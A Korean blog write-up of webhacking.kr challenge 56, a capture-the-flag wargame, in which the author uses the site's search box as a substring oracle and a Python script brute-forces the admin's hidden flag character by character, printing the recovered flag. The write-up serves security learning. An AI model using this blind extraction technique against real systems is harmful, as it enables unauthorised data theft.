보안 공부/webhacking.kr

webhacking.kr 56번 풀이

sh1256 2022. 1. 16. 13:39
728x90

첫화면

BOARD에 admin과 guest에 대한 정보고 table 형식으로 있습니다. 

 

readme에 들어가면 access denied 라고 뜨고, 

hi~에 들어가면 hello~ 라고 뜹니다. 

 

 

일단 소스코드와 쿠키에선 얻을 게 없었고, 

search칸에 이것저것 입력해 보았는데, 

hello값을 입력했을 때, guest에 대한 정보가 뜹니다. 

 

 

그리고 h만 입력해도 guest에 대한 정보가 뜹니다. 

아마도 search기능은 각 파일의 내용에서 해당하는 글자를 찾아주는것 같습니다. 

 

 

그럼 당연히 admin에는 flag~가 있겠거니 싶어서 

f를 검색해 보니까, 창에 admin이 떳습니다. 

 

 

 

그리고 이것저것 시도해 보았습니다. 

시도를 하면서 알게 된 것을 정리하자면, 

 

c언어의 strstr함수 아시나요??

바로 문자열 속에서 문자열을 찾아주는 함수입니다. 

 

strstr(대상문자열, 검색할 문자열)

대상문자열에서 검색할 문자열을 찾았을 때 TRUE를 반환

 

예를 들어 문자열이 flag{asdf}라고 가정했을 때

strstr(f), strstr(flag), strstr(asdf) --> TRUE

str(z), str(flzz) --> FALSE

 

처럼 되는 거죠. 이 strstr함수의 기능을 search가 담당한다고 보면 됩니다. 

 

 

 

 

 

그래서 admin의 readme 내용을 flag{~~}로 가정하고 

'flag{'를 검색해 봅시다. 

예상대로 readme글 속에 flag{가 존재하나 봅니다. 

flag{ 다음에 오는 글자가 'a'라고 가정해 보고,

flag{a를 검색해 봅시다. 

 

 

검색 결과가 나오지 않네요!!

flag{ 다음의 첫 글자는 a가 아닌가 봅니다!

 

 

 

 

 

자 이런 식으로 readme의 내용을 알아가야 합니다. 

 

저는 파이썬을 이용해서 이 문제를 해결하겠습니다.

import requests
headers={'PHPSESSID':'kjncet1j158d1b0ah1um27f539'}
url ="https://webhacking.kr/challenge/web-33/index.php"
length=31
flag= "flag{"
for i in range(1, 100):
    for j in range(38, 127):
        #if(j==37):
        #    break
        #query="right(left(p4ssw0rd_1123581321," +str(i)+ "),1)=" +str(hex(j))
        search_str=flag+chr(j)
        print("search_str: "+flag+chr(j))
        datas={'search':search_str}
        r= requests.post(url, headers=headers, data=datas)
        
        if r.text.find("admin") !=-1:
            flag+=chr(j)
            print("flag: "+flag)
            if(chr(j)=='}'):
                exit(1)
            break

실행했더니 flag{HIMIKO_TOGA_IS_CUTE_DONT_YOU_THINK_SO?_ 뒤에는 계속 못찾더라고요?

느낌상 flag{HIMIKO_TOGA_IS_CUTE_DONT_YOU_THINK_SO?} 일 거 같아서 해보니 됩니다. (야매....)

 

 

 

 

그렇게 해서 구한  flag{HIMIKO_TOGA_IS_CUTE_DONT_YOU_THINK_SO?}를 auth에 넣어주면 문제는 풀리게 됩니다. 

 

 

 

'보안 공부 > webhacking.kr' 카테고리의 다른 글

webhacking.kr 29번 풀이  (0) 2022.01.17
webhacking.kr 59번 풀이  (0) 2022.01.16
webhacking.kr 55번 풀이  (0) 2022.01.15
webhacking.kr 51번 풀이(PHP md5함수 취약점)  (0) 2022.01.05
webhacking.kr 53번 풀이  (0) 2022.01.04